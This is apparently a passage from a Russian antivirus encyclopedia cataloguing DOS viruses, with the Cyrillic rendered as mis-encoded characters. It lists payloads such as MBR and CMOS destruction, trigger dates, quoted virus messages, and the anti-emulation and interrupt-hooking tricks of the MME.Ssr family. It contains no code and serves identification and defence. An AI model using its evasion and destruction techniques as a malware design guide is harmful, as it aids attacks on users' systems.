ðåçèäåíòíîé êîïèè âèðóñû ìîãóò âûâåñòè òåêñò "Íå çàíèìàéòåñü
ñàìîëå÷åíèåì, äðóã ìîé !". Ïðè ââîäå ñ êëàâèàòóðû "tell me your
version" âèðóñû âûâîäÿò òåêñòû:
Mf.4270 - Alar Abaddon virus. Version 1.2 (peaceful)
Created by G..... A..... (C) 05/29/97
Mf.4625 - Alar Abaddon virus. Version 2.0 (peaceful)
Created by G..... A..... (C) 07/06/97
Mf.5088 - Alar Abaddon virus. Version 2.2 (harmful)
Created by G..... A..... (C) 07/29/97
Ïðè ââîäå "stop creeping" âèðóñû îáåçâðåæèâàþò â ïàìÿòè ñîáñòâåííûå
ïðîöåäóðû çàðàæåíèÿ ôàéëîâ. Åñëè ââåñòè "do it right now", òî âèðóñû
óíè÷òîæàþò ñîäåðæèìîå CMOS-ïàìÿòè. Âèðóñ Mf.5088 ïðè ââîäå ñòðîêè "set
password" óñòàíàâëèâàåò ïàðîëü äëÿ CMOS-ïàìÿòè è âûâîäèò òåêñò
"Affirmative !!!".
MGen-âèðóñû (MutaGen).
MGen.Agent.1118
Ñîäåðæèò òåêñòû "[MutaGenic Agent]", "[MutaGen] by MnemoniX".
MGen.Agent.1310
Ñîäåðæèò òåêñòû "[MutaGenic Agent]", "[MutaGen .90ñ] MnemoniX".
MGen.Agent.1337
Ñîäåðæèò òåêñòû "[MutaGenic Agent]", "[MutaGen .95ñ] MnemoniX".
MGen.Agent.1466
Ñîäåðæèò òåêñòû "[MutaGenic Agent]", "[MutaGen 1.00] MnemoniX".
MGen.Agent.1656
Ñîäåðæèò òåêñòû "[MutaGenic Agent I]", "[MutaGen 1.1]MnemoniX".
MGen.Agent.1715
Ñîäåðæèò òåêñòû "[MutaGenic Agent II]", "[MutaGen 1.1]MnemoniX".
MGen.Garden
Î÷åíü îïàñíûé ïîëèìîðôíûé âèðóñ. Ïðîèçâîäèò ïîèñê *.COM, *.EXE-ôàéëîâ è
çàïèñûâàåò ñâîé êîä ïîâåðõ ïðîãðàììíîãî êîäà. Ìîæåò âûâîäèòü ñîîáùåíèÿ:
"Not enough memory.", "I need 4K more to start myself!", "FUCK PEARL
JAM!!!!LONG LIVE TECHNO!!!!". À òàêæå ñîäåðæèò òåêñòû: "[Garden]This is
Garden V1.0.Very simple virus.New version will be better!!!" è
"[MutaGen 1.00] MnemoniX".
MGen.HiTek
Ñîäåðæèò òåêñòîâûå ñòðîêè "[BW ñ] [Hi Tek] by MnemoniX" è
"[MutaGen 1.1]MnemoniX".
MGen.Secret
Îïàñíûé ïîëèìîðôíûé âèðóñ. 17 ÷èñëà çàïèñûâàåò â C:\COMMAND.COM êîä,
ïðîèçâîäÿùèé ïåðåçàãðóçêó ñèñòåìû, âûâîäèò òåêñò:
IN MY SECRET GARDENI'AM LOOKING FOR THE PERFECT FLOWER
I AM GOING TO FUCK YOUR HARD DISK IF YOU DON'T TYPE THE RIGHT PASSWORD.
DON'T TURN OFF YOUR COMPUTER BECAUSE I ALREADY FUCKED YOUR HARD DISK
AND I WILL FIX IT ONLY IF YOU ENTER THE RIGHT PASSWORD!!!
PASSWORD IS:
Ñîäåðæèò ñòðîêè "[Secret Garden] by Nipple", "[MutaGen 1.00] MnemoniX".
MGTU.273
Ñîäåðæèò òåêñò "Ýòà ïpîãpàììà íàïèñàííà â ÌÃÒÓ ñòóäåíòîì ãpóïïû ÈÓ4".
MGUL.950
Îïàñíûé ñòåëñ-âèðóñ. 30 íîÿáðÿ, 11 èþíÿ è 31 äåêàáðÿ óíè÷òîæàåò MBR è
Boot-ñåêòîð àêòèâíîãî ðàçäåëà. Ñîäåðæèò ñòðîêó "ÌÃÓË. ÂÒÁ-11. v1.0".
MGUL.1953, MGUL.1962
Îïàñíûå ñòåëñ-âèðóñû. 30 íîÿáðÿ è 11 èþíÿ óíè÷òîæàþò MBR. Â ðåçóëüòàòå
ýòîãî êîìïüþòåð áóäåò öèêëèòüñÿ íà ïåðåçàãðóçêå ("âå÷íàÿ
ïåðåçàãðóçêà"). Óäàëÿþò ïðîãðàììû, ñîäåðæàùèå áóêâîñî÷åòàíèÿ -V, AD,
SC, AI, ïðè èõ çàïóñêå Ñîäåðæàò ñòðîêè: MGUL.1953 - "MGUL. v.2.5",
MGUL.1962 - "ÌÃÓË. v.2.0".
Mh.792, 1432, 1438, 1481, 1503, 1538
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Mh.1432,1438,1538 - ôàéëîâî -
çàãðóçî÷íûå âèðóñû,êîòîðûå çàðàæàþò ôàéëû è MBR ïåðâîãî æåñòêîãî äèñêà.
Mh.1481, 1538 ïûòàþòñÿ íàéòè è çàðàçèòü COM è EXE-ôàéëû íà äèñêå C: â
äèðåêòîðèè DOS, íå çàðàæàþò ôàéëû, óêàçàííûå â ñëåäóþùåì ñïèñêå (ïî 4
ñèìâîëà íà èìÿ): AVG.ASTASTRODPMIRTM.SCAN.
Michelangelo (1-5)
Î÷åíü îïàñíûå boot-âèðóñû. 6 ìàðòà, â äåíü ðîæäåíèÿ Ìèêåëàíäæåëî,
óíè÷òîæàþò èíôîðìàöèþ íà äèñêå, ñ êîòîðîãî ïðîèçîøëà çàãðóçêà ñèñòåìû.
Michelangelo (3) óíè÷òîæàåò èíôîðìàöèþ 18 ôåâðàëÿ, Michelangelo (4) -
26 ìàÿ. Michelangelo (5) ïûòàåòñÿ çàìåñòèòü ñîáîé âñåõ ñâîèõ
"ðîäñòâåííèêîâ" è 21 ìàÿ âûâîäèò òåêñò "ANTI March6 Karpachev Dmitr.".
Mickie.1100
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ñîäåðæèò òåêñòîâóþ ñòðîêó
"Mickie lives... somewhere in time! (c) 1995 Grave Lion".
Microb.431
Îïàñíûé ðåçèäåíòíûé âèðóñ. 13 ÷èñëà âûâîäèò òåêñò "MICROB I" è
óíè÷òîæàåò èíôîðìàöèþ íà ïåðâîì æåñòêîì äèñêå.
Microbe
Íåîïàñíûé Boot-âèðóñ. Çàðàæàåò òîëüêî äèñêåòû åìêîñòüþ 360K. Ïðè 164
çàãðóçêå ñ èíôèöèðîâàííîãî äèñêà âûâîäèò ñîîáùåíèå:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ This MICROBE is dedicated to ¦
¦ 'Microchips Inc.', Cebu City, Phil. ¦
¦ In appreciation for the quality ¦
¦ training it provided us. ¦
¦ ¦
¦ 02/19/88 þ MICROMAGIC þ ¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Microsof.1024
Ñîäåðæèò òåêñò:
The IBM Personal Computer DOS
Version 3.30 (C)Copyright International Business Machines Corp 1981, 1987
(C)Copyright Microsof
Midnight (1)
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Ïðèìåðíî â 23:57 ïðîèçâîäèò ÷òåíèå (f.2
Int 13h) ñëó÷àéíûõ ñåêòîðîâ äèñêà.
Midnight (2)
 ïîëíî÷ü âûâîäèò òåêñò:
¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù
¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯
ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿ IT'S MID NIGH À Ñ¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿
¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù¿¯ù
Mikola
Óíè÷òîæàåò èíôîðìàöèþ â ñëó÷àéíûõ ñåêòîðàõ æåñòêîãî äèñêà. Ñîäåðæèò
òåêñò "...Mikola v 1.13".
Milan.Naziskin.270, 335
 àïðåëå ïûòàþòñÿ óíè÷òîæèòü Boot-ñåêòîð íåñóùåñòâóþùåãî äèñêà (AL=80h
INT 26h). èëè Boot-ñåêòîð äèñêà A:. Ñîäåðæàò òåêñò "Copyright by German
NaZiSkIn Virus Club 1992- Forever Here lies you poor dead computer
May it sees the dawn!!!".
Milan.Prodigy
Îïàñíûé çàìåùàþùèé âèðóñ. Â 1997 ãîäó âûâîäèò òåêñò:
Pr0diGy VeEr0oZ (c) 1995
HaPpY nEw YeAR! SeE U iN HeLL...
è ïûòàåòñÿ óíè÷òîæèòü ñîäåðæèìîå 1000è ñåêòîðîâ æåñòêîãî äèñêà.
MiME-âèðóñû
MiME (Mini Mutation Engine)-ïîëèìîðôíûé ãåíåðàòîð âèðóñíûõ øèôðîâùèêîâ
è ðàñøèôðîâùèêîâ.
MiME.Demo
Íåîïàñíûé äåìîíñòðàöèîííûé âèðóñ äàííîãî ãåíåðàòîðà, ðàñïðîñòðàíÿåìûé â
êîìïëåêòå ñ íèì â âèäå ôàéëà è èñõîäíîãî òåêñòà.
MiME.WhoNo
Íåîïàñíûé íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ñîäåðæèò òåêñòû "[This is
WhoNoName V2.1 Virus By Dark Tommy]" , "The WhoNoName V2.1 Virus Make
With MiMe v1.0".
MiniMax
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Ïðè ÷òåíèè ñåêòîðîâ ìîæåò èçìåíÿòü â
áóôåðå ÷òåíèÿ ñëîâîñî÷åòàíèÿ "MIN" íà "MAX" è íàîáîðîò - "MAX" íà
"MIN". Ñîäåðæèò çàøèôðîâàííîå ñëîâî "MiniMax".
MIPhT.460, 905
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. MIPhT.905 ïîä MS-Windows â DOS-ñåññèè
ïðîèçâîäèò ïîñòîÿííóþ çàìåíó ñèìâîëîâ -\|/, ïðîèçâîäÿ ò.î. âèäåîýôôåêò,
èçâåñòíûé, êàê "âåíòèëÿòîð". Ñîäåðæàò òåêñòû:
MIPhT.460: <<< To serve and protect. >>>
þ¨ MIPhT 25.11.94. ¨þ
MIPhT.905: <=¨ To serve and protect. ¨=>
<¨ MIPhT 15.09.95. ¨>
Mipt.439, 602
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Áëîêèðóþò îòêðûòèå ôàéëîâ logo.pic,
heretic.wad, kb2.dat, MPSLOGO. Ñîäåðæàò òåêñòû:
Mipt.439: "MIPT 3.04.96 (C)TERMINATOR",
Mipt.602: "MIPT(75),1995(C),TERMINATOR".
Mipt.879
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè îòêðûòèè ôàéëîâ logo.pic, heretic.wad,
doom2.wad, doom.wad, kb2.dat, MPSLOGO, geodata\world.dat, mkset.bin,
FONTS.LBX, DESCENT.HOG, angbang.cnf âèðóñ âûâîäèò òåêñò:
Memory alloction error
System halted
è "âåøàåò" ñèñòåìó. Èìååò òåêñò "MIPT 15.04.96(C)TERMINATOR".
Mipt.2000
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîçäàåò ôàéë C:\DOS\COUNT.SYS. Ñîäåðæèò
òåêñò "MIPT (72) (C) EliteSoft February 1996 ****** 50 YEAR PhysTech
******".
Mira.438
Ñîäåðæèò òåêñòû "MIRA JOKE", "*-=MIRA=-NNELED-*".
Miras.640
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Âûâîäèò ñîîáùåíèå:
è POR QUE ME MIRAS CON ESA CARA ?
è NUNCA HABIAS VISTO UN VIRUS ?
MIREA.1766, MIREA.2087, MIREA.2117
Ïîëèìîðôèêè. Ïîñëå 1000 íàæàòèé íà êëàâèøè â áóôåð êëàâèàòóðû ïîìåùàþò
ñëåäóþùèå ñëîâà:
MIREA.1766 - "ÌÈÐÝÀ-IV",
MIREA.2087 - "ÌÈÐÝÀ-X",
MIREA.2117 - "ÌÈÐÝÀ-XI".
MIREA.4156
Ïðîèçâîäèò ïîèñê EXE-ôàéëîâ, ÷òåíèå èç ôàéëà è çàïèñü â ôàéë ÷åðåç INT
25h è INT 26h. Ôàéëû ìîãóò áûòü ïîðàæåíû â ëþáîì äèðåêòîðèè òåêóùåãî
äèñêà. Ïîëèìîðôèê. Ñîäåðæèò îøèáêè, èç-çà êîòîðûõ íåðàáîòîñïîñîáåí íà
äèñêå ñ 12áèòîâîé FAT. Èíîãäà, ïî îêîí÷àíèè ñâîåé ðàáîòû, ìîæåò âûäàòü
òåêñò:
Çàðàíåå ïðîøó èçâèíåíèÿ.
×èñòàÿ ñëó÷àéíîñòü, ÷òî ÝÒÎ ïîïàëî ê Âàì.
Ïî êëàññèôèêàöèè Å. Êàñïåðñêîãî ýòî òèïè-
÷íàÿ "ñòóäåí÷åñêàÿ" ïðîãðàììà, ïðè÷åì â
íàèõóäøåì åå èñïîëíåíèè:
- ïîðòèò îâåðëåè ( åñëè íå ïîâåçåò, òî è
ðåçèäåíòû òîæå ),
- ïîðòèò çàáèòûé äî îòêàçà äèñê,
- ñîäåðæèò áîëüøîå ÷èñëî îøèáîê,
- èìååò áîëüøîé ðàçìåð,
è ò.ä.
×åãî åùå ìîæíî îæèäàòü îò ñòóäåíòà ÌÈÐÝÀ.
Íè÷åãî ãàäêîãî , êðîìå ðàñïðîñòðàíåíèÿ
ïðîãðàììà íå äåëàåò ( ÿ íà ýòî íàäåþñü,
õîòÿ îò "ñòóäåí÷åñêîé" ìîæíî îæèäàòü âñå-
ãî èç-çà åå êðàéíåé ïðèìèòèâíîñòè è áîëü-
øîãî ÷èñëà îøèáîê ).
ÌÈÐÝÀ - õîðîøèé ÂÓÇ!!!
ÌÈÐÝÀ - ýòî çâó÷èò ãîðäî!!!
ÌÈÐÝÀçì íå îáúÿñíèòü, â íåì íàäî æèòü!!!
Minsk.1075
Ïðè êàæäîì 20îì ÷òåíèè èç DBF-ôàéëîâ âìåñòî ïðî÷èòàííûõ áàéò âîçâðàùàåò
íóëè. Ñîäåðæèò îïàñíóþ îøèáêó: ïðè èíñòàëëÿöèè â ïàìÿòü âìåñòî âûçîâà
INT 21h ìîæåò âûçâàòü INT 15h (15h=21d).
Minsk.1447
Ðàáîòîñïîñîáåí òîëüêî â MS-DOS 3.30. Ñîäåðæèò òåêñò "MINSK GHOST,1991".
Mirror.482
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè êàæäîì 1000 âûçîâå INT 21h âèðóñ
ïåðåâîðà÷èâàåò èçîáðàæåíèå íà ýêðàíå è çàïèñûâàåò â MBR æåñòêîãî äèñêà
5 áàéò ïðÿìîãî ìåæñåãìåíòíîãî ïåðåõîäà íà ïåðåçàãðóçêó JUMP F000:FFF0.
Mirror.4130 (1,2)
Íåîïàñíûå ïîëèìîðôíûå âèðóñû. Ìîãóò óñòàíîâèòü ñâîþ TSR-êîïèþ â îáëàñòü
UMB. Ñîäåðæàò òåêñò "[ Mirror: Bit Addict / TridenT ]". Åñòü
ìîäèôèêàöèÿ âèðóñà, ñîäåðæàùåãî òåêñò "Moonchild (C) Dread Lord //
FotD". Âèäèìî, ýòîò "Dread Lord" íè÷åãî áîëüøå íå óìååò, êðîìå òîãî,
÷òîáû ãîðäî ïîñòàâèòü ñâîå ëîãî â ÷óæîé âèðóñ.
MISiS (1-4)
Íåîïàñíûå çàãðóçî÷íûå ñòåëñ-âèðóñû. Èíîãäà âîäÿò íà ýêðàí îäíî èç
ñëåäóþùèõ ñîîáùåíèé:
MISiS (1,4):
ÌÈÑèÑ Ìàé'92. Æàðèíîâ Soft 236-25-35.
"Æàðèíîâ" ïðèøåë!..
ß ÑÓÁÄ NIKA!
Îòîéäèòå îò ìàøèíû!
Ðàáîòó ïðîãðàììèñòàì!
Ñëàâà Ëîçèíñêîìó!
Òåáÿ ÌÈÍÇÄÐÀÂ ïðåäóïðåæäàë?!
Ìîëèòåñü...
MISiS (2):
ÌÝÑÈ Ìàpò'93. Æàðèíîâ - ÓÐÎÄ !
Àâòîp âèpóñà - ÃÀÄ.
Òû ïîäîõíåøü !
Ïpèäópêè èç ÌÈÑèÑ!!
Ãíàòü òàêèõ íàäî !!!!
Äîëîé Ëîçèíñêîãî!
Èñïîãàíèëè âèíò ìîåé PC!!!!!
Ïpèâåò! ...
MISiS (3):
YOU ARE SILLY ORGANIC CREATIONI'M AMUSINGGO OUTSIDE!
...GOOD BY...I LOVE F117!
HIGHT LOZINSKY!
I'M BACK!!!!
FREDDY BACK ALREADY!
Mithrandir.450
Ñîäåðæèò ñòðîêó "Mithrandir III".
Mixx.570
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêó "MiXx".
Mmca.505, 879, 882, 1131
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Mmca.879, 882, 1131 - çàøèôðîâàíû.
Ñîäåðæàò òåêñò "ÌÌÑÀ_ÊÏÈ".
MME.Ssr.18273, 18364, 19071, 19834
Î÷åíü îïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Ñîäåðæàò íåñêîëüêî
ðàçíîîáðàçíûõ ðàñøèôðîâùèêîâ. Ïðåäïîñëåäíèé äåêðèïòîð èñïîëüçóåò
àëãîðèòì ñëó÷àéíîé ðàñøèôðîâêè ïîñëåäíåãî äåêðèïòîðà è îñíîâíîãî òåëà
âèðóñà, êàêèì-òî îáðàçîì ïîõîæèé íà àëãîðèòì âèðóñîâ RDA, íî ñëàáåå
ïî ðåàëèçàöèè. Ïîñëåäíèé ðàñøèôðîâùèê èñïîëüçóåò äèíàìè÷åñêóþ
ðàñøèôðîâêó òåëà âèðóñà ñ ïîìîùüþ INT 01. Ïðè âûçîâå íåêîòîðûõ
çàðåçåðâèðîâàííûõ ôóíêöèé INT 21h âèðóñû âûâîäÿò òåêñò, ñîïðîâîæäàåìûé
âèäåî è çâóêîâûìè ýôôåêòàìè:
!!! ALARM WARNING DANGER APPROACHING !!!
Hacker-fucker TSR shit or Any Virus Detected !!!
Anyone who wants to fuck Revenge is Naivnij Man
With best wishes & thanks to DialogScn
Emulation engine will have problems with this ZHOM
In future versions we will add :
1. Protected Mode Decryptor [VMME]
2. Adinf table Hacker-cracker
3. Destroy Files/Disks/CMOS/Printer/CDROM
4. Disk encryption and other BUGs,GLUKs & SHITs !
Dis is only BEGIN... Win95 & her lamers must die!
Searching... SEEK & DESTROY
There can be only one ...
MME.Ssr.19834 âûâîäèò ñëåäóþùèé òåêñò:
!!! ALARM WARNING DANGER APPROACHING !!!
Hacker-fucker TSR shit or Any Virus Detected !!!
Anyone who wants to fuck Revenge is Naivnij Man
With best Wishes to E.Kaspersky !
Now I'm CURELESS !!! SND Used !!! Rules !!!
In future versions I will add :
1. Protected Mode Decryptor [SF0rCE]
(Web,try to emul IT :)))) )
2. UniversalAntiDetector
3. Must Die: Lamers,Webs & other...
4. And other BUGs,GLUKs & SHITs !
Dis is Continue... Win95 & her lamers must die!
Searching... SEEK & DESTROY
There can be only one ...
Ïåðèîäè÷åñêè "òðÿñóò" ýêðàí èëè âûâîäÿò òåêñò:
T H I S I S
Þ±± ±±±±± Þ±±
Þ±±±ßßßÛ±± ܱ±±±± Þ±± Þ±± ܱ±±±± Þ±± ±±±± ±±±± ±± ܱ±±±±
Û±±± Þ±±Þ±±ßßÛ±± Þ±± Þ±± Þ±±ßßÛ±± Þ±±±ßßÛ±±Þ±±ßßß±±± Þ±±ßßÛ±±
Þ±±± Þ±± Þ±± Þ±± Û± Þ±± Þ±± Þ±± Þ±± Þ±±Þ±± Þ±± Þ±± Þ±±
Û±±±±±±± Þ±±±±±±± Þ±± Þ±± Þ±±±±±±± Þ±± Þ±± Û±±±±±±±Þ±±±±±±±
Þ±±± Þ±± Þ±±±ßßß Þ±± Þ± Þ±±±ßßß Þ±± Þ±± ßß±±±±±Þ±±±ßßß
Þ±± Û±± Û±± ± Þ±±Þ± Û±± ± Þ±± Þ±± ßßßÛ± Û±± ±
Û±± Û±± Û±±±±± Þ±± Û±±±±± Þ±± Þ±± ± Þ±± Û±±±±±
Þ±±± Û±± ßßßß ßß ßßßß ßß ßß ±± Þ±± ßßßß
Û±± Û±± Þ±±±±±±
ßßß Û±± ßßßßß
Û±±
O F S T A I N L E S S S T E E L R A T
Ïîñëå ÷åãî ïîÿâëÿåòñÿ åùå îäèí òåêñò:
····ùùù Revenge virus v 1.01 released at 20.04.96 ùùù····
····ùùù Copyright (c) 1996-97 2 Rats Techno Soft ùùù····
····ùùù Written by ùùù····
····ùùù Stainless Steel Rat ùùù····
È ïîñëå ýòîãî òåêñòà âèðóñû óíè÷òîæàþò ñëó÷àéíûé ñåêòîð ëîãè÷åñêîãî
äèñêà C:. Âèðóñû óäàëÿþò ôàéëû, èìåþùèå ðàñøèðåíèÿ PAR,PIF,ICO,WEB,°°°,
PAS,BAS,AVB,FRQ,311,312,TPU,GIF,JPG,NLM,STM, MOD, CPP, DOT, ïîäñòàâëÿÿ
âìåñòî èìåíè òåêñò "Øèò !". Íå çàðàæàþò ôàéëû, ñîäåðæàùèå â ñâîåì èìåíè
áóêâîñî÷åòàíèÿ (ïî 2 ñèìâîëà íà èìÿ) èç ñòðîêè: DRAIADCOHIAVWIKEUSGD.
Ïðè òðàññèðîâêå ðåçèäåíòíîé êîïèè, âèðóñû âûâîäÿò òåêñò è "âåøàþò"
ñèñòåìó:
È äîëãî îí INT`û òðàññèðîâàë...
Òåïåðü ÿ ãðóñòíûé òåðìèíàë !
Ïðè ñòàðòå ïðîãðàììû, ñîäåðæàùåé â ñâîåì èìåíè ñî÷åòàíèå ñèìâîëîâ ID
(AIDSTEST.EXE) âèðóñû âûâîäÿò íà ýêðàí òåêñò "À íå ïîðà ëè ã-íó
Ëîçèíñêîìó íà ïåíñèþ !". MME.Ssr.19834 âûâîäèò äðóãîé òåêñò: "Òû åùå íå
âûápîñèë ýòîò suxx íà ïîìîéêy ?! :)".Ðåçèäåíòíûå êîïèè âèðóñîâ ñîäåðæàò
âñåâîçìîæíûå ìàíèïóëÿöèè ñî "âðåçêîé" â îðèãèíàëüíûé îáðàáîò÷èê INT 21h
äâóõ áàéò âûçîâà INT ACh, êîòîðûé â ñâîþ î÷åðåäü âûçûâàåò INT ABh,
êîòîðûé âîçâðàùàåò óïðàâëåíèå INT 21h ÷åðåç INT 2Ah...  îáùåì, âñå ýòî
îñòàâëÿåò ÷ðåçâû÷àéíî ãíåòóùåå âïå÷àòëåíèå îò ÷ðåçìåðíûõ ïîòóã
ãîñïîäèíà âèðóñîïèñàòåëÿ... Äëÿ îáìàíà ðåçèäåíòíûõ ìîíèòîðîâ âèðóñû
èñïîëüçóþò íåêîòîðûé ïðèåì ïî èçìåíåíèþ ðàñøèðåíèÿ èìåíè ôàéëà, êîòîðîå
âîññòàíàâëèâàåòñÿ èç ÿäðà DOS ñ ïîìîùüþ INT 2Ah. Ôàéëû, óïàêîâàííûå
PKLITE, âèðóñ çàðàæàåò íåòðàäèöèîííûì ñïîñîáîì - êîððåêòèðóåòñÿ
ñòàðòîâûé êîä ðàñïàêîâùèêà PKLITE òàêèì îáðàçîì, ÷òî óïðàâëåíèå äîëæíî
ïîïàñòü íà ó÷àñòîê êîäà, âûâîäÿùèé òåêñò "Not enough memory" è
çàâåðøàþùèé ðàáîòó ïðîãðàììû. Íî âèðóñ âíåäðÿåò â äàííûé ó÷àñòîê êîäà
ïåðåõîä íà ñîáñòâåííîå çàøèôðîâàííîå òåëî. MME.Ssr.19834 èñïîëüçóåò â
êîäå ðàñøèôðîâùèêà èíñòðóêöèè 386 ïðîöåññîðà. Òàêæå MME.Ssr.19834 ïðè
çàðàæåíèè íåêîòîðûõ ôàéëîâ ñ÷èòûâàåò 4000h áàéò äàííîãî ôàéëà â áóôåð è
ïûòàåòñÿ íàéòè ñëåäóþùèå ïîñëåäîâàòåëüíîñòè áàéò 0B4h,??, 0CDh, 21h èëè
0B8h,??,??,0CDh,21h (âûçîâ ïðåðûâàíèÿ DOS 21h ñ íåêîòîðûìè çíà÷åíèÿìè â
ðåãèñòðàõ AH èëè AX) è èçìåíÿåò äàííûå ïîñëåäîâàòåëüíîñòè áàéò â ñòðîêó
ñ ïåðâûì áàéòîì 0F0h. Äàëåå ñëåäóþò çàøèôðîâàííûå ïî íåêîòîðîìó
àëãîðèòìó çíà÷åíèÿ ðåãèñòðîâ AH èëè AX. Ðåçèäåíòíàÿ êîïèÿ âèðóñà
"ïåðåõâàòûâàåò" INT 6 (invalid opcode - íåïðàâèëüíàÿ êîìàíäà). Ïðè
âûïîëíåíèè èíñòðóêöèè, èìåþùåé ïåðâûé áàéò êîìàíäû - 0F0h, ñèñòåìîé
ãåíåðèðóåòñÿ INT 6, êîòîðûé êîíòðîëèðóåòñÿ âèðóñîì. Â ðåçóëüòàòå âèðóñ
ðàñøèôðîâûâàåò çíà÷åíèå ðåãèñòðà AH èëè AX, çàïèñûâàåò â ïàìÿòü,
îòêóäà "ïðèøëà" íåñóùåñòâóþùàÿ êîìàíäà, ïðàâèëüíûé ïåðâûé áàéò êîìàíäû,
çíà÷åíèå ðåãèñòðà è âûçîâ INT 21h (0CDh, 21h). Ò.î., ïðè íàëè÷èè â
ïàìÿòè ðåçèäåíòíîé êîïèè âèðóñà MME.Ssr.19834, âñå "ðàçðóøåííûå"
ïðîãðàììû áóäóò ðàáîòàòü íîðìàëüíî, à ïðè îòñóòñòâèè âèðóñà, ñêîðåå
âñåãî îíè "çàâåñÿò" ñèñòåìó.Âèðóñû ñîäåðæàò îãðîìíîå êîëè÷åñòâî îøèáîê,
èç-çà êîòîðûõ "íîðìàëüíàÿ èõ æèçíåäåÿòåëüíîñòü" ïðàêòè÷åñêè íåâîçìîæíà.
Âèðóñû ñîäåðæàò òåêñòû:
Hi Hacker! Welcome to Hell
Move over, I said move over Hey, hey, hey, clear the way
There's no escape from my authority - I tell you -
Gimme the prize, just gimme the prize
Save me,save me
Give me your WEBs, let me squeeze them in my hands, Your puny scaners,
Your so-called heuristics analyzers, I'll eat them whole before
I'm done, The battle's fought and the game is won,
I am the one the only one, I am the god of kingdom come,
- THERE CAN BE ONLY ONE -
I'M GOING SLIGHTLY MAD
Don't lose your header
Just very slightly mad !
I'm the invisible man
Now you DiE !
Crazy Little Thing Called PkLite
StealthedMetamorphicCrazyForcedSynthesatedRandomMegaLayerEncryption
ProgressionMutationEngineGenerator
ß ìñòþ ,è ìñòÿ ìîÿ óæàñíà... ¹ S.S.R.
BUGS INSIDE
RandomEncryptionSynthezator ¹ S.S.R. 1996-97
THE STAINLESS STEEL RAT MUTATION ENGINE v 1.21 beta
²±°(c) S.S.R. 1996-97°±²
MME v 2.00 ¹ S.S.R. 1996-97
Metamorphic Mutation Engine v 2.00 (C) Stainless Steel Rat 1996-97
It's C00LEST Engine &Ê
MME.Ssr.19071 òàêæå ñîäåðæèò åùå îäèí òåêñò:
--------------------
Notes:
À òåïåpü about DR.web...
Ëàìåpñòâî! Êàê ìåíÿ îáîçâàëè?! MME.Ssr.18xxx !
ÒÐÅÁÓÞ ÏÅÐÅÈÌÅHÎÂÀHÈß Â MME.SSRME.RES.REVENGE.xxxxx !
Òîëè äåáàãåpû âñå îáëîìàë,òîëè %-) èëè ýòî íàúåçä ?!
À êàê ìåíÿ ëå÷àò:
Äîïîëíåíèå ê 311 - ìàëî òîãî,÷òî MMESsr'îì nam'àåò (ãäå òî÷êà?),
Òàê åùå è F8.À íîpìàëüíûé àïãpåéä íà ñâîé Emul ñëàáî ïîñòàâèòü !
Äà,åùå:êëàñíûé AidsBest ïîëy÷àåòñÿ - ñèãíàòypy â MME íàøåë è pàä,
Îí äàæå íà äåìêy MME pyãàåòñÿ:MMESsr.18xxx - ïîëíûé òîp÷ !
Ìíå íàïëåâàòü,íî ïî÷åìy äëèíà ñ äåêpèïòîpîì ?
Virlist íå âèäåë,íî yæå îáèäíî:ìíå îäíîìy ÂèpÒåõ òîëêàòü,
À òàê îáîñëàëè...
Ïîìíèòå:Ìñòÿ áyäåò yæàñíîé !
S.S.R. 12.09.1996 time:18.11
P.S. Èíô ê pàçìûøëåíèþ - àâòîpy 15 ëåò è ýòî òîëüêî íà÷àëî...
--------------------
Orign:NUkE HiM A11 ! BIG NAWOROT BUGS INSIDE
MME.Ssr.19834 òàêæå ñîäåðæèò ñëåäóþùèå òåêñòû:
StealthedMetamorphicCrazyForcedSynthesatedRandomMegaLayerEncryption
ProgressionMutationEngineSeekAndDestroyerGenerator
Ïàyòèíû÷ !
Ïåpåèìåíîâàòü íå çàõîòåë,äà ! Òû ñàì ýòîãî õîòåë !
Ýòî âîéíà !!! Ñíà÷àëà äîêè íày÷èñü ïèñàòü (ñì AVPVE)!
 îáùåì,HÅÂÎÇÌÎÆHÎÑÒÜ ËÅ×ÅHÈß îñòàâëÿåò ãíåòóùåå âïå÷àòëåíèå
îò ÷ðåçìåðíûõ ïîòóã ãîñïîäèíà âèðëèñòîïèñàòåëÿ...
Exe-Pklite òîëüêî â 3.13 íàêîïàë...Áåäíûå þçåpû íàâåpíîå
